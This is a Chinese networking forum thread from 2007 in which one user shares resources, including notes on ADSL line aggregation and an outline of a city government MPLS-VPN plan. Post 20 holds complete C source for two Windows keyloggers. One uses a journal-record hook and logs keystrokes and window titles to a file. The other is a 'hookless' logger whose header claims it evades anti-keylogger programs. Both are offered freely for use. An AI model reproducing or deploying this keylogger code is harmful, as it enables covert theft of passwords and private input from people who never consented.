Netexpert FAQ 网络分析专家学习建议入口 @netexpert成员申请指南
网络分析时代 netexpert积分规则的说明 Netis招贤纳士(2008年11月22日更新)
发新话题
打印

★我的收藏,奉献给大家!觉得好就顶我一下!

哈哈,没什么人顶,都心寒啦

TOP

再再再再再再再再再再再再再再继续

再再再再再再再再再再再再再再继续 第16帖 VPN路由器配置
附件: 您所在的用户组无法下载或查看附件

TOP

再再再再再再再再再再再再再再再继续

再再再再再再再再再再再再再再再继续 第17帖

商务写字楼多路ADSL汇聚
目前,随着宽带网络的蓬勃发展,商务写字楼的物业商也看中了宽带接入服务的业务,同样也面临着采用何种技术方案和运营方案的选择。DDN专线一直以来都是宽带运营商所能采用的唯一一种接入手段。但是,DDN专线虽然有高速的带宽和稳定的线路,其高额的费用却使希望低成本投入的物业商望而却步。随着ADSL的普及和推广,以及ADSL汇聚器的出现,物业商所面临的两个问题被彻底解决。
ADSL汇聚解决方案
  ADSL技术之所以成功主要是考虑了一般用户使用INTERNET的特点,下行带宽远高于上行带宽。中国电信推出的ADSL下行带宽为 512K,如果将4条ADSL汇聚在一起,就有2M的带宽,而这4条ADSL线路的月费用总共不过¥500,远远低于2M专线的费用。而且ADSL汇聚器的负载均衡和防断线功能保证宽带接入的线路质量。当商务写字楼的接入用户增加时,我们还可以汇聚8条ADSL线路,接入带宽达到4M,每月的线路费用也不过¥1000。这就解决了物业商所担心的高成本投入的问题。
  ADSL汇聚器宽带计费管理网关具有强大的管理功能,对用户实行国际上最为先进的组性化管理。可以基于网络协议、应用端口、带宽分配、IP及MAC地址等等信息进行详而有序的管理。
  ADSL汇聚器宽带计费管理网关具有基于用户使用流量、时间、时段、带宽、网络应用内容、指定IP计费包月、储值倒扣、网络充值等近百种计费方式,足以满足各个阶层各个类型用户的需求。
  ADSL汇聚器宽带计费管理网关具有WebPortal、PPPOE等多种用户认证方式。充分的保证了各种网络环境的用户认证的便捷性。还有实时认证、网络报警、传输加密等功能来保证用户的注册信息不被非法盗用,其高性能的线性转发能力保证了宽带网的应用扩展。强大的防火墙功能保证了网络安全稳定地运行。
  理性而又强大的运营功能轻而一举的解决了物业商所担心的运营方案选择的问题。
  在上面的拓扑图中,我们给出了无线局域网的拓扑,原因是相比以太局域网高额的一次性建设投资,无线局域网几乎没有前期投入,随着用户的开通,用户数的增加,逐渐增加安装无线AP,并且无线网卡价格已经能够为大众所接受,所以推荐采用无线局域网来降低成本。
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续 政府某个城市城域网实施方案

政府某个城市城域网实施方案  第18帖

第1章 工程概况        1
第2章 用户需求分析        3
第3章 网络结构        5
3.1 全网拓扑结构:        5
3.2 第一阶段网络结构        6
第4章 MPLS-VPN规划        8
4.1 MPLS VPN实例设计        8
4.2 MPLS VPN技术实现        10
4.2.1 市政府网络中心接入        11
4.2.2 市局机关单位接入        11
4.2.3 县政府网络中心接入        12
4.2.4 县局机关接入        13
4.3 MPLS VPN规划说明        14
4.3.1 VRF规则        14
4.3.2 RD(Route Distinguisher)规则        15
4.3.3 Route-Target规则        15
4.3.4 VLAN划分规则        15
4.3.5 设备端口连接规则        16
第5章 IP地址规划        17
5.1 Loopback地址分配        17
5.2 链路地址规划        17
5.3 VPN业务地址规划        17
第6章 路由协议        19
6.1 BGP路由协议        19
6.1.1 AS号划分        19
6.1.2 对等组的规划        19
6.1.3 路由反射器的规划        20
6.1.4 路由的引入        20
6.2 ospf路由协议        21
6.3 黑洞路由        21
第7章 网管系统        22
第8章 安全策略        22
8.1 防病毒防控列表        22
8.2 设备访问安全控制        24
第9章 技术方案测试        24
9.1 网络测试拓扑        25
9.2 测试设备清单:        25
9.3 VPN业务测试        26
9.4 网管系统测试        32
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续 第19帖 一些解决方案
附件: 您所在的用户组无法下载或查看附件

TOP

非常感谢楼主的奉献精神

TOP

晕,没人顶顶,我的激情没有啦,哈哈

TOP

再……再继续

再……再继续 第20帖

无聊啊,发一个我自己用C写的键盘纪录

//---------------------------------------------------------------------------

#include <vcl.h>

#include <stdio.h>
#pragma hdrstop

#include "main.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
    if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
    if(iCode==HC_ACTION)
    {
          EVENTMSG* pEvt=(EVENTMSG*)lParam;
          int i;
          HWND hFocus;                       //保存当前活动窗口句柄
          char szTitle[256];                   //当前窗口名称
          char szTime[128];                   //当前的日期和时间
          FILE *stream=fopen("f:\\My\\logfile.txt","a+");
          if(pEvt->message==WM_KEYDOWN)
          {
                int vKey=LOBYTE(pEvt->paramL);     //取得虚拟键值

                char ch;
                char str[10];
                hFocus=GetActiveWindow();         //获得活动窗口的句柄

                if(g_hLastFocus!=hFocus)
                {
                    GetWindowText(hFocus,szTitle,256);   //取得一个窗体的标题
                    g_hLastFocus=hFocus;

                    strcpy(szTime,DateTimeToStr(Now()).c_str());

                    fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);

                    fprintf(stream,"%c%c",32,32);
                }

                int iShift=GetKeyState(0x10);
                int iCapital=GetKeyState(0x14);
                int iNumLock=GetKeyState(0x90);

                bool bShift=(iShift&KeyPressMask)==KeyPressMask;
                bool bCapital=(iCapital&1)==1;
                bool bNumLock=(iNumLock&1)==1;

                if(vKey==9)                     //TAB
                    fprintf(stream,"%c",'\t');
                if(vKey==13)                     //回车键
                    fprintf(stream,"%c",'\n');
                if(vKey>=48 && vKey<=57)             //数字键0-9
                {
                    if(!bShift)
                          fprintf(stream,"%c",vKey);
                    else
                    {
                          switch(vKey)
                          {
                          case 49:
                                ch='!';
                                break;
                          case 50:
                                ch='@';
                                break;
                          case 51:
                                ch='#';
                                break;
                          case 52:
                                ch='$';
                                break;
                          case 53:
                                ch='%';
                                break;
                          case 54:
                                ch='^';
                                break;
                          case 55:
                                ch='&';
                                break;
                          case 56:
                                ch='*';
                                break;
                          case 57:
                                ch='(';
                                break;
                          case 48:
                                ch=')';
                                break;
                          }
                          fprintf(stream,"%c",ch);
                    }
                }

                if(vKey>=65 && vKey<=90)               //A-Z a-z
                {
                    if(!bCapital)
                    {
                          if(bShift)
                                ch=vKey;
                          else
                                ch=vKey+32;
                    }
                    else if(bShift)
                          ch=vKey+32;
                    else
                          ch=vKey;
                    fprintf(stream,"%c",ch);
                }

                if(vKey>=96 && vKey<=105)             //小键盘0-9
                {
                    if(bNumLock)
                          fprintf(stream,"%c",vKey-96+48);
                }

                if(vKey>=186 && vKey<=222)             //其它键
                {
                    switch(vKey)
                    {
                          case 186:
                                if (!bShift)
                                    ch=';';
                                else
                                    ch=':';
                                break;
                          case 187:
                                if (!bShift)
                                    ch='=';
                                else
                                    ch='+';
                                break;
                          case 188:
                                if (!bShift)
                                    ch=',';
                                else
                                    ch='<';
                                break;
                          case 189:
                                if (!bShift)
                                    ch='-';
                                else
                                    ch='_';
                                break;
                          case 190:
                                if (!bShift)
                                    ch='.';
                                else
                                    ch='>';
                                break;
                          case 191:
                                if (!bShift)
                                    ch='/';
                                else
                                    ch='?';
                                break;
                          case 192:
                                if (!bShift)
                                    ch='`';
                                else
                                    ch='~';
                                break;
                          case 219:
                                if (!bShift)
                                    ch='[';
                                else
                                    ch='{';
                                break;
                          case 220:
                                if (!bShift)
                                    ch='\\';
                                else
                                    ch='|';
                                break;
                          case 221:
                                if (!bShift)
                                    ch=']';
                                else
                                    ch='}';
                                break;
                          case 222:
                                if (!bShift)
                                    ch='\'';
                                else
                                    ch='\"';
                                break;
                          default:
                                ch='n';
                                break;
                    }
                    if (ch!='n' )
                          fprintf(stream,"%c",ch);
                } //
                if(vKey>=112 && vKey<=123)               // 功能键 [F1]-[F12]
                {
                    switch(wParam)
                    {
                          case 112:
                                fprintf(stream,"%s","[F1]");
                                break;
                          case 113:
                                fprintf(stream,"%s","[F2]");
                                break;
                          case 114:
                                fprintf(stream,"%s","[F3]");
                                break;
                          case 115:
                                fprintf(stream,"%s","[F4]");
                                break;
                          case 116:
                                fprintf(stream,"%s","[F5]");
                                break;
                          case 117:
                                fprintf(stream,"%s","[F6]");
                                break;
                          case 118:
                                fprintf(stream,"%s","[F7]");
                                break;
                          case 119:
                                fprintf(stream,"%s","[F8]");
                                break;
                          case 120:
                                fprintf(stream,"%s","[F9]");
                                break;
                          case 121:
                                fprintf(stream,"%s","[F10]");
                                break;
                          case 122:
                                fprintf(stream,"%s","[F11]");
                                break;
                          case 123:
                                fprintf(stream,"%s","[F12]");
                                break;
                    }
                }
                if (vKey>=8 && vKey<=46)                 //方向键
                {
                    switch (vKey)
                    {
                          case 8:
                                strcpy(str,"[BK]");
                                break;
                          case 9:
                                strcpy(str,"[TAB]");
                                break;
                          case 13:
                                strcpy(str,"[EN]");
                                break;
                          case 27:
                                strcpy(str,"[ESC]");
                                break;
                          case 32:
                                strcpy(str,"[SP]");
                                break;
                          case 33:
                                strcpy(str,"[PU]");
                                break;
                          case 34:
                                strcpy(str,"[PD]");
                                break;
                          case 35:
                                strcpy(str,"[END]");
                                break;
                          case 36:
                                strcpy(str,"[HOME]");
                                break;
                          case 37:
                                strcpy(str,"[LF]");
                                break;
                          case 38:
                                strcpy(str,"[UF]");
                                break;
                          case 39:
                                strcpy(str,"[RF]");
                                break;
                          case 40:
                                strcpy(str,"[DF]");
                                break;
                          case 45:
                                strcpy(str,"[INS]");
                                break;
                          case 46:
                                strcpy(str,"[DEL]");
                                break;
                          default:
                                ch='n';
                                break;
                    }
                    if (ch!='n' )
                    {
                          //if (g_PrvChar!=vKey)
                          //{
                                fprintf(stream,"%s",str);
                                //g_PrvChar=vKey;
                          //}
                    }
                }
          }
          if(pEvt->message==WM_LBUTTONDOWN||pEvt->message==WM_RBUTTONDOWN)
          {
                hFocus=GetActiveWindow();
                if(g_hLastFocus!=hFocus)
                {
                    g_hLastFocus=hFocus;
                    GetWindowText(hFocus,szTitle,256);
                    strcpy(szTime,DateTimeToStr(Now()).c_str());
                    fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
                    fprintf(stream,"%c%c",32,32);
                }
          }
          fclose(stream);
    }
    return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
//---------------------------------------------------------------------------
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
    : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ButtonInstallClick(TObject *Sender)
{
if(g_hLogHook==NULL)
    g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ButtonUninstallClick(TObject *Sender)
{
if(g_hLogHook!=NULL)
{
    UnhookWindowsHookEx(g_hLogHook);
    g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------


后来看到一个高手,不用消息循环就可以记录按键信息,也一起发给大家,作为参考:
代码:--------------------------------------------------------------------------------
//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: Hookless Keylogger
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
// Limitation: More Usage Of System Resource; May Not Work On Win9x
// Advantage: Hookless Technique Fools Anti-Keylogger Programs
//**********************************************************************

#include <windows.h>
#include <stdio.h>

// Some Global Variables

// Lower Case Key & Some Other Keys
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"`",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"-",
"=",
"[TAB]",
"q",
"w",
"e",
"r",
"t",
"y",
"u",
"i",
"o",
"p",
"[",
"]",
"a",
"s",
"d",
"f",
"g",
"h",
"j",
"k",
"l",
";",
"'",
"z",
"x",
"c",
"v",
"b",
"n",
"m",
",",
".",
"/",
"\\",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[UP]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};

// Upper Case Key & Some Other Keys
char *UpperCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
"[F6]",
"[F7]",
"[F8]",
"[F9]",
"[F10]",
"[F11]",
"[F12]",
"~",
"!",
"@",
"#",
"$",
"%",
"^",
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"<",
">",
".?",
"|",
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[Up]",
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};

// Ascii Keys,Forget About It
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
55,
56,
57,
48,
189,
187,
9,
81,
87,
69,
82,
84,
89,
85,
73,
79,
80,
219,
221,
65,
83,
68,
70,
71,
72,
74,
75,
76,
186,
222,
90,
88,
67,
86,
66,
78,
77,
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
105,
110,
};

HWND PreviousFocus=NULL;
// End Of Data

// Function ProtoType Declaration
//----------------------------------------------------------------------
BOOL IsWindowsFocusChange();
BOOL KeyLogger();
//----------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

// Main Function
int main()
{
KeyLogger();   // Run The Keylogger
return 0;   // The Program Quit
}
// End Of Main

//-------------------------------------------------------------------------
// Purpose: To Check The Active Windows Title
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL IsWindowsFocusChange()
{
HWND hFocus = GetForegroundWindow();   // Retrieve The Active Windows's Focus
BOOL ReturnFlag = FALSE;   // Declare The Return Flag
if (hFocus != PreviousFocus)   // The Active Windows Has Change
{
  PreviousFocus = hFocus;     // Save The Old Active Windos Focus
  int WinLeng = GetWindowTextLength(hFocus);   // Get The Active Windows's Caption's Length
  char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2));   // Allocate Memory For The Caption
  GetWindowText(hFocus,WindowCaption,(WinLeng + 1));     // Retrieve The Active Windows's Caption
  if (strlen(WindowCaption) > 0)   // Really Get The Windows's Caption
  {
    printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption);   // Display The Active Windows's Caption
    ReturnFlag=TRUE;   // Indicate The Windows's Focus Has Changed
  }
  free(WindowCaption);     // Free The Allocated Memory
}
return ReturnFlag;   // Return The Flag
}// End Of IsWindowsFocusChange Function

//-------------------------------------------------------------------------
// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer
// Return Type: Boolean
// Parameters: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
{
int bKstate[256] = {0};     // Declare The Key State Array
int i,x;
char KeyBuffer[600];     // Key Buffer Array
int state;   // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect
int shift;   // Variable To Hode State Of Shift Key

// Reset The Buffer
memset(KeyBuffer,0,sizeof(KeyBuffer));

while(TRUE)     // Forever Loop Is Taking Place Here
{
  Sleep(8);   // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP
  if (IsWindowsFocusChange())   //Check The Active Windows Title
  {
    if (strlen(KeyBuffer) != 0)   // Keys Are Pressed
    {
      printf("%s\r\n",KeyBuffer);   // Display The Keys Pressed
      memset(KeyBuffer,0,sizeof(KeyBuffer));     // reset The Buffer
    }
  }

  for(i=0;i<92;i++)     // Looping To Check Visual Keys
  {
    shift = GetKeyState(VK_SHIFT);   // Check Whether Shift Is Pressed
    x = SpecialKeys;   // Match The Key
    if (GetAsyncKeyState(x) & 0x8000)   // Check Combination Keys
    {
      // See Whether CapsLocak Or Shift Is Pressed
    if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Not Pressed
    {
        bKstate[x] = 1;     //Uppercase Characters A-Z
    }
    else
        if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))   //Caps Lock And Shift Is Pressed
        {
        bKstate[x] = 2;     //Lowercase a-z
        }
        else
        if (shift < 0)   // Shift Is Pressed
        {
            bKstate[x] = 3;     //Uppercase Characters A-Z
        }
        else
            bKstate[x] = 4;     //Lowercase a-z
    }
    else
    {
      if (bKstate[x] != 0)     // No Combination Keys Detected
      {
        state = bKstate[x];   // Retrieve The Current State
        bKstate[x] = 0;   // Reset The Current State
        if (x == 8)     // Back Space Is Detected
        {
          KeyBuffer[strlen(KeyBuffer) - 1] = 0;   // One Key Back Then
          continue;   // Start A New Loop
        }
        else
          if (strlen(KeyBuffer) > 550)   // Buffer FULL
          {
            printf("%s <Buffer Full>",KeyBuffer);   // Display The Keys Retrieved
            memset(KeyBuffer,0,sizeof(KeyBuffer));     // Reset The Buffer
            continue;   // Start A New Loop
          }
          else
            if (x == 13)   // Enter Is Detected
            {
              if (strlen(KeyBuffer) == 0)   // No Other Keys Retrieved But Enter
              {
                continue;   // Start A New Loop
              }
              printf("%s<Enter>\r\n",KeyBuffer);   // Retrieve Other Keys With Enter
              memset(KeyBuffer,0,sizeof(KeyBuffer));   // Display The Keys With Enter
              continue;   // Start A New Loop
            }
            else
                if ((state%2) == 1)   //Must Be Upper Case Characters
              {
                strcat(KeyBuffer,UpperCase);   // Store The Key To Key Buffer
              }
              else
                  if ((state%2) == 0)   // Must Be Lower Case Characters
                {
                  strcat(KeyBuffer,LowerCase);   // Store The Key To Key Buffer
                }
      }
    }
  }// End Of For Loop
}// End Of While Loop
return TRUE;   // Return To The Caller
}// End Of KeyLogger Function
// End Of File

[ 本帖最后由 sxssfm 于 2007-3-7 19:52 编辑 ]
本帖最近评分记录
  • scz 威望 +10 2007-3-8 09:47

TOP

再……再继续

再……再继续 第21帖
数据包扑捉与协议分析

[ 本帖最后由 sxssfm 于 2007-3-11 11:21 编辑 ]
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续 第22帖

win 文件共享通过的协议

[ 本帖最后由 sxssfm 于 2007-3-11 11:21 编辑 ]
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续 第23帖

常用认证协议及常见认证协议攻击方法总结

[ 本帖最后由 sxssfm 于 2007-3-11 11:22 编辑 ]
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续 第24帖

Ethereal协议分析系统介绍

[ 本帖最后由 sxssfm 于 2007-3-11 11:23 编辑 ]
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续 第25帖,今天的最后一帖啦!为人不识武腾兰,看遍A片也枉然!哈哈

常用网络协议原理
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续 第26帖  心里慌,静不下心做事,还是继续发吧!

协议分析中的关键程序

[ 本帖最后由 sxssfm 于 2007-3-11 11:24 编辑 ]
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续  第27帖

世界硬盘型号命名规则

[ 本帖最后由 sxssfm 于 2007-3-11 11:25 编辑 ]
附件: 您所在的用户组无法下载或查看附件

TOP

再……再继续

再……再继续  第28帖
附件: 您所在的用户组无法下载或查看附件

TOP

楼主好人啊

TOP